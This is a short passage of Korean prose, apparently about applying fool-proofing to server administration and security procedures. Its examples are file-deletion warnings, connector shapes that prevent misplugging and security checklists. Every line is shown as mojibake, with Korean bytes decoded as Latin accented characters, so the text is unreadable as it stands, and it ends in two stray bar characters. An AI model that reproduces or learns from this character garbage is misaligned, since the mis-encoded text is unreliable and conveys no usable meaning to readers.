»ç¶÷ÀÌ ½Ç¼öÇÒ ¼ö ¾øµµ·Ï »çÀü¿¡ ¿¹¹æÀåÄ¡¸¦ ¸¶ ·ÃÇÏ´Â °³³äÀ̸ç, ÄÄÇ»ÅÍÀÇ ÆÄÀÏ »èÁ¦³ª Çϵåµð½ºÅ© Æ÷¸Ë ½Ã¿¡ »ç¿ëÀÚ¿¡°Ô °æ°í¸¦ ÇÏ´Â ÀýÂ÷¸¦ ¿¹·Î µé ¼ö ÀÖÀ¸¸ç, ÀÚµ¿Â÷ÀÇ °æ¿ì¿¡ ºê·¹ÀÌÅ©¸¦ ¹âÁö ¾ÊÀº »óÅ¿¡¼´Â ½Ãµ¿ÀÌ °É¸®Áö ¾Êµµ·Ï ÇÏ´Â ÀåÄ¡ µîÀÌ ÇØ´çµÈ´Ù. ¾Æ·¡ÀÇ ±×¸²Àº LAN¿¡¼ ÈçÈ÷ ¾²´Â RJ-45 Ä¿³ØÅÍ¿Í ºñµð¿ÀÄ«¸Þ¶ó µÞ¸éÀÇ °¢Á¾ ¿¬°á Æ÷Æ®µéÀÌ´Ù.
±×¸²À» »ìÆ캸¸é °¢Á¾ ÄÉÀ̺íÀÇ ¿¬°á Æ÷Æ®µéÀÌ »ç¶÷ÀÌ ½Ç¼ö ÇÏ´õ¶óµµ À߸ø ³¢¿ï ¼ö ¾øµµ·Ï ¸¸µé¾ú±â ¶§¹®¿¡ »ç¶÷ÀÇ ½Ç¼ö¸¦ ¹Ì¿¬¿¡ ¹æÁöÇÒ ¼ö ÀÖ´Ù. ¼ÒÇÁÆ®¿þ¾î °³¹ßÀ̳ª ¼¹ö °ü¸®¿¡µµ ÀÌ·¯ÇÑ °³³äÀ» µµÀÔÇÏ¿© È¿°úÀûÀΠüũ¸® ½ºÆ®¸¦ °³¹ß ÇÏ°í Àû¿ëÇÏ´Â ³ë·Â°ú ÇÔ²² ¾ÈÀüÇÑ ¼¹ö ¿î¿µ ÀýÂ÷¸¦ ¸¶·ÃÇÏ°í °³¼± ½ÃÄÑ ³ª°£´Ù¸é º¸¾È¼öÁØ Çâ»ó¿¡ Å« µµ¿òÀÌ µÉ °ÍÀÌ´Ù.
|
|